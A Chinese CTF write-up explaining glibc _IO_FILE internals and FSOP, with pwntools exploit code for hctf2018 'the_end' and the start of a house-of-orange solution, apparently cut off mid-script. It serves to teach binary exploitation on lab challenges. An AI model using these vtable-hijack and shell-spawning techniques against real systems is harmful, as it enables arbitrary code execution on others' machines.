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[CTF] IO_FILE 利用明析

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R00tkit 发表于 2023-10-30 17:20

前言

深入理解Pwn_Heap及相关例题

源码查看网址

本文主要参考C0Lin_sky123_两位宝藏师傅的博客。

本文写的较为冗余,适合和我一样的新手朋友看。文中并没有对堆的手法进行详细的说明,文章的堆利用手法可以看上面的文章(包括了目前 how2heap 里全系列的手法,其他手法有时间会补充到里面)。后面关于 _IO_FILE 利用的手法会更新在这里(方便查)。

基础知识

IO相关重要结构体概述

进行文件读写操作时会为对应文件创建一个 _IO_FILE_plus 结构体,并且链接到 _IO_list_all 链表 头部 上,vtable 指向一张虚函数表_IO_jump_t,此表中记录着对文件进行的各种操作,_IO_FILE_IO_jump_t 组成了 _IO_FILE_plusstdin, stdout, stderr 是位于 libc.so 中,而通过 fopen 的创建的则是位于堆内存。

glibc-2.23源

struct _IO_FILE_plus
{
  _IO_FILE file;
  /* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
  const struct _IO_jump_t *vtable; 
};
// amd64 如下
_IO_FILE_plus = {
    0x0:'_flags';
    0x8:'_IO_read_ptr';   // 操作起始地址
    0x10:'_IO_read_end';  // stdin 缓冲结束地址 
    0x18:'_IO_read_base'; // stdin 缓冲起始地址 
    0x20:'_IO_write_base';// stdout 缓冲起始地址 
    0x28:'_IO_write_ptr'; // 操作起始地址
    0x30:'_IO_write_end'; // stdout 缓冲结束地址 
    0x38:'_IO_buf_base';  // 缓冲区起始地址 
    0x40:'_IO_buf_end';   // 缓冲区结束地址
    0x48:'_IO_save_base';
    0x50:'_IO_backup_base';
    0x58:'_IO_save_end';
    0x60:'_markers';
    0x68:'_chain';
    0x70:'_fileno';
    0x74:'_flags2';
    0x78:'_old_offset';
    0x80:'_cur_column';
    0x82:'_vtable_offset';
    0x83:'_shortbuf';
    0x88:'_lock';
    0x90:'_offset';
    0x98:'_codecvt';
    0xa0:'_wide_data';
    0xa8:'_freeres_list';
    0xb0:'_freeres_buf';
    0xb8:'__pad5';
    0xc0:'_mode';
    0xc4:'_unused2';

    0xd8:'vtable';
}
struct _IO_jump_t
{
    0x0:JUMP_FIELD(size_t, __dummy);
    0x8:JUMP_FIELD(size_t, __dummy2);
    0x10:JUMP_FIELD(_IO_finish_t, __finish);
    0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
    0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
    0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
    0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
    0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
    0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
    0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
    0x60:JUMP_FIELD(_IO_sync_t, __sync);
    0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
    0x70:JUMP_FIELD(_IO_read_t, __read);
    0x78:JUMP_FIELD(_IO_write_t, __write);
    0x80:JUMP_FIELD(_IO_seek_t, __seek);
    0x88:JUMP_FIELD(_IO_close_t, __close);
    0x90:JUMP_FIELD(_IO_stat_t, __stat);
    0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
    #if 0
        get_column;
        set_column;
    #endif

};
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno; // stderr:2, stdout:1, stdin:0

  #if 0
    int _blksize;
  #else

  int _flags2;
  #endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
      void *__pad1;
      void *__pad2;
      void *__pad3;
      void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

#ifndef __cplusplus
typedef struct _IO_FILE _IO_FILE;
#endif

struct _IO_FILE_plus;

extern struct _IO_FILE_plus *_IO_list_all;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
struct _IO_str_fields
{
  /* These members are preserved for ABI compatibility.  The glibc
     implementation always calls malloc/free for user buffers if
     _IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set.  */
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
   but a 32 bit pointer type.  In this case, we get 4 bytes of padding
   after the vtable pointer.  Putting them in a structure together solves
   this problem.  */

struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

图解

1

1

IO相关函数概述

  • fopen 未调用 vtable 中的函数,fopen 对应的函数 __fopen_internal 内部会调用 malloc 函数,分配 FILE 结构的空间。因此我们可以获知 FILE 结构是存储在堆上的。
  • 流程

    • 使用 malloc 分配 FILE 结构

    • 设置 FILE 结构的 vtable

    • 初始化分配的 FILE 结构

    • 将初始化的 FILE 结构链入 FILE 结构链表头部

    • 调用系统调用打开文件

// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
    struct locked_FILE
    {
        struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
        _IO_lock_t lock;
#endif
        struct _IO_wide_data wd;
    } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));   // 为 FILE 结构分配空间
    if (new_f == NULL)
        return NULL;
#ifdef _IO_MTSAFE_IO
     new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    _IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
    _IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
    _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; // 设置 vtable = &_IO_file_jumps
    _IO_file_init (&new_f->fp); // 调用 _IO_file_init 函数进行初始化
#if  !_IO_UNIFIED_JUMPTABLES
    new_f->fp.vtable = NULL;
#endif
    if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)    // 打开目标文件
        return __fopen_maybe_mmap (&new_f->fp.file);
    _IO_un_link (&new_f->fp);
    free (new_f);
    return NULL;
}
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
    return __fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
    /* POSIX.1 allows another file handle to be used to change the position
       of our file descriptor.  Hence we actually don't know the actual
       position before we do the first fseek (and until a following fflush). */
    fp->file._offset = _IO_pos_BAD;
    fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
    _IO_link_in (fp);         // 调用 _IO_link_in 函数将 fp 放进链表
    fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
        fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
        _IO_cleanup_region_start_noarg (flush_cleanup);
        _IO_lock_lock (list_all_lock);
        run_fp = (_IO_FILE *) fp;
        _IO_flockfile ((_IO_FILE *) fp);
#endif
        fp->file._chain = (_IO_FILE *) _IO_list_all;  // fp 放到链表头部
        _IO_list_all = fp;                            // 链表头 _IO_list_all 指向 fp
        ++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
        _IO_funlockfile ((_IO_FILE *) fp);
        run_fp = NULL;
        _IO_lock_unlock (list_all_lock);
        _IO_cleanup_region_end (0);
#endif
      }
}
  • fread()   最终会调用  _IO_fiel_xsgetn
    • 流程大致为 _IO_fread->_IO_sgetn->_IO_XSGETN->_IO_file_xsgetn
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
    _IO_size_t bytes_requested = size * count;
    _IO_size_t bytes_read;
    CHECK_FILE (fp, 0);
    if (bytes_requested == 0)
        return 0;
    _IO_acquire_lock (fp);
    bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);   // 调用 _IO_sgetn 函数
    _IO_release_lock (fp);
    return bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
    /* FIXME handle putback buffer here! */
    return _IO_XSGETN (fp, data, n);          // 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
    _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
#   define _IO_JUMPS_FUNC(THIS) \
    (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
                 + (THIS)->_vtable_offset))
#   define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
#   define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
#   define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
  • fwrite 最终会调用 _IO_file_xsputn
    • 流程 _IO_fwrite->_IO_XSPUTN->_IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
    _IO_size_t request = size * count;
    _IO_size_t written = 0;
    CHECK_FILE (fp, 0);
    if (request == 0)
        return 0;
    _IO_acquire_lock (fp);
    if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
        written = _IO_sputn (fp, (const char *) buf, request);      // 调用 _IO_sputn 函数
    _IO_release_lock (fp);
    /* We have written all of the input in case the return value indicates
       this or EOF is returned.  The latter is a special case where we
       simply did not manage to flush the buffer.  But the data is in the
       buffer and therefore written as far as fwrite is concerned.  */
    if (written == request || written == EOF)
        return count;
    else
        return written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
  • fclose 最终会调用 _IO_file_finish
    • 流程大致如下
    • _IO_unlink_it 将指定的 FILE_chain 链表中摘除
    • _IO_file_close_it 会调用系统接口 close 关闭文件
    • _IO_FINISH->_IO_file_finish 会调用 free 函数释放 FILE 结构
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
    int status;
    CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
    /* We desperately try to help programs which are using streams in a
       strange way and mix old and new functions.  Detect old streams
       here.  */
    if (_IO_vtable_offset (fp) != 0)
        return _IO_old_fclose (fp);
#endif
    /* First unlink the stream.  */
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
        _IO_un_link ((struct _IO_FILE_plus *) fp);  // 将 fp 从链表中取出
    _IO_acquire_lock (fp);
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
        status = _IO_file_close_it (fp);            // 关闭目标文件
    else
        status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
    _IO_release_lock (fp);
    _IO_FINISH (fp);
    if (fp->_mode > 0)
    {
#if _LIBC
         /* This stream has a wide orientation.  This means we have to free
         the conversion functions.  */
         struct _IO_codecvt *cc = fp->_codecvt;
         __libc_lock_lock (__gconv_lock);
         __gconv_release_step (cc->__cd_in.__cd.__steps);
         __gconv_release_step (cc->__cd_out.__cd.__steps);
         __libc_lock_unlock (__gconv_lock);
#endif
      }
      else
      {
          if (_IO_have_backup (fp))
              _IO_free_backup_area (fp);
      }
      if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
      {
          fp->_IO_file_flags = 0;
          free(fp);                                 // 释放 FILE 结构体
      }
      return status;
}

getshell 一般条件

必须要 libc 的低 32 位地址为负时,攻击才会成功。在 fflush 函数的检查里,它第二步才是跳转,第一步的检查,在 arena 里的伪造 file 结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会 check 失效。

[hctf2018]the_end

检查文件信息

2

2

3

3

4

4

试运行

5

5

逆向分析

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
    int i; // [rsp+4h] [rbp-Ch]
    void *buf; // [rsp+8h] [rbp-8h] BYREF

    sleep(0);
    printf("here is a gift %p, good luck ;)\n", &sleep);
    fflush(_bss_start);
    close(1);
    close(2);
    for ( i = 0; i <= 4; ++i )
    {
        read(0, &buf, 8uLL);
        read(0, buf, 1uLL);
    }
    exit(1337);
}

我们有五次任意地址写 1 字节的机会,并且给了我们 sleep() 函数的地址。

漏洞利用

glibc-2.23 版本及之前没有 _IO_vtable_check 检查,因此可以伪造 vtable 劫持程序流程。 exit 函数有一条这样的调用链 exit->__run_exit_handlers->_IO_cleanup->_IO_unbuffer_all->_IO_SETBUFF(fp, NULL, 0),这里调用了 _IO_2_1_stdout_vatable_setbuf 函数.。但位于 libc 数据段的 vtable 是不可以进行写入的,因为 _IO_jumps_t 的第 11 位是 JUMP_FIELD(_IO_setbuf_t, __setbuf); 所以我们可以在其附近寻找 fake_vtable 将其 (11*8)0x58  处改为 one_gadget ,当程序退出调用 exit 时将会调用 one_gadget 从而 getshell

获取信息

def get_info():
    global one_gadget, stdout_vtable, fake_vtable, stderr_vtable
    p.recvuntil(b"here is a gift ")
    sleep = int(p.recv(14),16)
    p.recvuntil(b"luck ;)\n")

    libc.address = sleep - libc.symbols['sleep']
    one_gadget = libc.address + 0xf03a4

    stdout_vtable = libc.sym['_IO_2_1_stdout_'] + 0xd8
    stderr_vtable = libc.sym['_IO_2_1_stderr_'] + 0xd8
    fake_vtable = stderr_vtable - 0x58

    info("libc_base : 0x%x" % libc.address)
    info("one_gadget : 0x%x" % one_gadget)
    info("stdout_vtable : 0x%x" % stdout_vtable)
    info("fake_vtable : 0x%x" % fake_vtable)
    info("stderr_vtable : 0x%x" % stderr_vtable)

    debug()

6

6

libc.sym['_IO_2_1_stdout_'] + 0xd8_IO_2_1_stdout_vtable 指针,glibc-2.23版本x64 的偏移(struct _IO_FILE大小)0xd8x32 减半。

get_shell

def get_shell():
    p.send(p64(stdout_vtable))
    p.send(p8(fake_vtable&0xff))
    p.send(p64(stdout_vtable+1))
    p.send(p8((fake_vtable>>8)&0xff))

    debug()

    p.send(p64(stderr_vtable))
    p.send(p8(one_gadget&0xff))
    p.send(p64(stderr_vtable+1))
    p.send(p8((one_gadget>>8)&0xff))

    gdb.attach(p)
    p.send(p64(stderr_vtable+2))
    p.send(p8((one_gadget>>16)&0xff))
    pause()

    p.sendline(b"exec 1>&0")

7

7

前两次机会我们可以修改 stdout_vtable 的后 16 位将其指向 fake_vtable

8

8

后面三次机会将 fake_vtable 的高 11*8(0x58) 处的 _IO_SETBUF(实际上是 stderr_vtable) 改为 onegadget,因为都在 libc.so 数据段,所以我们只需要修改其后 8*3 位即可。

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最后调用了 one_gadget

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但是我这里4  个 one_gadget 都不满足条件,这个方法没打通,哪里有问题还想烦请师傅多多指教。

图解

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FSOP(glibc <= 2.23)

FSOP 的核心思想就是劫持 _IO_list_all 指向伪造的 _IO_FILE_plus 。之后使程序执行 _IO_flush_all_lockp 函数刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflowFSOP 通过伪造 _IO_jump_t 中的 __overflowsystem() 函数 地 址 , 最 终 在 _IO_OVERFLOW(fp,EOF) 函 数 中 执 行 system('/bin/sh') 并获得 shell

  • _IO_flush_all_lockp 在一些情况下这个函数会被系统调用:

    1. libc 执行 abort 流程时
    void
    abort (void)
    {
        ...
          if (stage == 4)
        {
              ++stage;
              __fcloseall ();
        }
        ...
    }
    int
    __fcloseall (void)
    {
      return _IO_cleanup ();
    }
    int
    _IO_cleanup (void)
    {
      int result = _IO_flush_all_lockp (0);
      _IO_unbuffer_all ();
      return result;
    }
    
    1. 当执行 exit 函数时
    void
    exit (int status)
    {
      __run_exit_handlers (status, &__exit_funcs, true);
    }
    第(1)条链
    void
    attribute_hidden
    __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit)
    {
        ...
        _exit (status);
    }
    void
    _exit (int status)
    {
      status &= 0xff;
      abort ();
    }
    第(2)条链
    _IO_cleanup (void)
    {
      int result = _IO_flush_all_lockp (0);
      _IO_unbuffer_all ();
      return result;
    }
    1. 当执行流从 main 函数返回时会执行 exit->_IO_cleanup->_IO_flush_all_lockp

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  • _IO_flush_all_lockp (int do_lock) 函数需要绕过的检查。
/*
*  从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
*  _IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (int do_lock)
{
    ...
    /* 
    * 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
    * fp->_mode <= 0
    * fp->_IO_write_ptr > fp->_IO_write_base
    * 这里调用了 _IO_OVERFLOW 函数
    */
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) 
        && _IO_OVERFLOW (fp, EOF) == EOF)
    ...
}

还有一条FSOP的路径是在关闭流的时候,在 _IO_FINISH(fp) 的执行过程中最终会调用伪造的 system('/bin/sh')

typedef void (*_IO_finish_t) (_IO_FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
    ...
    _IO_FINISH (fp);
    ...
}

[hctf2016]house of orange

检查文件信息

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试运行

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逆向分析

  • main 函数
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // eax

  Init();
  while ( 1 )
  {
    while ( 1 )
    {
      Menu();
      v3 = get_num(a1, a2);
      if ( v3 != 2 )
        break;
      See();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        Upgrade();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_13:
        a1 = "Invalid choice";
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      Build();
    }
  }
}
  • Build 函数
int Build()
{
  unsigned int len_of_name; // [rsp+8h] [rbp-18h]
  int type; // [rsp+Ch] [rbp-14h]
  void *house; // [rsp+10h] [rbp-10h]
  __int64 orange; // [rsp+18h] [rbp-8h]

  if ( max_house > 3u )
  {
    puts("Too many house");
    exit(1);
  }
  house = malloc(0x10uLL);
  printf("Length of name :");
  len_of_name = get_num();
  if ( len_of_name > 0x1000 )
    len_of_name = 0x1000;
  *((_QWORD *)house + 1) = malloc(len_of_name);
  if ( !*((_QWORD *)house + 1) )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  Read(*((void **)house + 1), len_of_name);     // 这个读取没有截断,可能存在泄露
  orange = (__int64)calloc(1uLL, 8uLL);
  printf("Price of Orange:");
  *(_DWORD *)orange = get_num();
  Color();
  printf("Color of Orange:");
  type = get_num();
  if ( type != 0xDDAA && (type <= 0 || type > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( type == 0xDDAA )
    *(_DWORD *)(orange + 4) = 0xDDAA;
  else
    *(_DWORD *)(orange + 4) = type + 0x1E;
  *(_QWORD *)house = orange;
  house_list = house;
  ++max_house;
  return puts("Finish");
}

其结构大致为:

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其中 orange 是通过 calloc 申请的。

  • See 函数
int sub_EE6()
{
  int v0; // eax
  int v2; // eax

  if ( !house_list )
    return puts("No such house !");
  if ( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
  {
    printf("Name of house : %s\n", (const char *)house_list[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*house_list);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
  }
  else
  {
    if ( *(int *)(*house_list + 4LL) <= 0x1E || *(int *)(*house_list + 4LL) > 0x25 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)house_list[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*house_list);
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*house_list + 4LL), *((const char **)&unk_203080 + v2 % 8));
  }
}

See 函数会打印出 house->nameorange->priceorange 图案。

  • Upgrade 函数
int Upgrade()
{
  _DWORD *house; // rbx
  unsigned int len_of_name; // [rsp+8h] [rbp-18h]
  int type; // [rsp+Ch] [rbp-14h]

  if ( max_up > 2u )
    return puts("You can't upgrade more");
  if ( !house_list )
    return puts("No such house !");
  printf("Length of name :");
  len_of_name = get_num();
  if ( len_of_name > 0x1000 )
    len_of_name = 0x1000;
  printf("Name:");
  Read((void *)house_list[1], len_of_name);
  printf("Price of Orange: ");
  house = (_DWORD *)*house_list;
  *house = get_num();
  Color();
  printf("Color of Orange: ");
  type = get_num();
  if ( type != 0xDDAA && (type <= 0 || type > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( type == 0xDDAA )
    *(_DWORD *)(*house_list + 4LL) = 0xDDAA;
  else
    *(_DWORD *)(*house_list + 4LL) = type + 0x1E;
  ++max_up;
  return puts("Finish");
}

Upgrade 函数重新设置了 len_of_name 后直接向旧的 name 区域读入内容,如果 len_new > len_old 就会导致堆溢出。

漏洞利用

本题没有 free 函数,存在堆溢出。当 top chunk的剩余部分已经不能够满足请求时,就会调用函数 sysmalloc()分配新内存, 这时可能会发生两种情况,一种是调用 sbrk函数直接扩充 top chunk,另一种是调用 mmap 函数分配一块新的 top chunk。具体调 用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阈值 mp_.mmap_threshold。 要成功调用 _int_free() 还需绕过两个断言:

  1. (unsigned long) (old_size) >= MINSIZE 也就是 0x20

  2. prev_inuse == 1

  3. ((unsigned long) old_end & (pagesize - 1)) == 0页对齐

  4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)新申请的 size 大于 old size + MINSIZE

static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
    // 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
    ...
    if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
      && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/

    try_mmap:
        ...
    }
    ...

    if (av == NULL)
      return 0;

    old_top = av->top;
    old_size = chunksize (old_top);
    old_end = (char *) (chunk_at_offset (old_top, old_size));

    brk = snd_brk = (char *) (MORECORE_FAILURE);
    /*
    *    1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
    *    2. prev_inuse == 1
    *    3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
    *    4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
    */
    assert ((old_top == initial_top (av) && old_size == 0) ||
            ((unsigned long) (old_size) >= MINSIZE &&
             prev_inuse (old_top) &&
             ((unsigned long) old_end & (pagesize - 1)) == 0));

    assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

    if (av != &main_arena)
    {
        heap_info *old_heap, *heap;
        size_t old_heap_size;

        old_heap = heap_for_ptr (old_top);
        old_heap_size = old_heap->size;
        if ((long) (MINSIZE + nb - old_size) > 0
            && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
        {
            av->system_mem += old_heap->size - old_heap_size;
            arena_mem += old_heap->size - old_heap_size;
            set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                    | PREV_INUSE);
        }
        else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
        {

            heap->ar_ptr = av;
            heap->prev = old_heap;
            av->system_mem += heap->size;
            arena_mem += heap->size;

            top (av) = chunk_at_offset (heap, sizeof (*heap));
            set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

            old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
            set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
            if (old_size >= MINSIZE)
            {
                set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
                set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
                set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
                // 释放 old_top_chunk 到 unsorted bin。
                _int_free (av, old_top, 1);
            }
            else
            {
                set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
                set_foot (old_top, (old_size + 2 * SIZE_SZ));
            }
        }
        else if (!tried_mmap)
          goto try_mmap;
    }
    ...
}

这样便可成功泄露 libc 基址,从而获得 _IO_list_all 地址,然后可以利用 unsorted bin attack 劫持 _IO_list_allmain_arena+88,利用 fp->chain 域,使 fp 指 向 old_top,前 8 字节为 '/bin/sh\x00' 字符串,使 _IO_OVERFLOWsystem 函数的地址,从而获得 shell

前置脚本

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
    global io, elf, libc
    elf = ELF("./houseoforange")
    libc = elf.libc

    if is_local:
        io = process('./houseoforange')
    else:
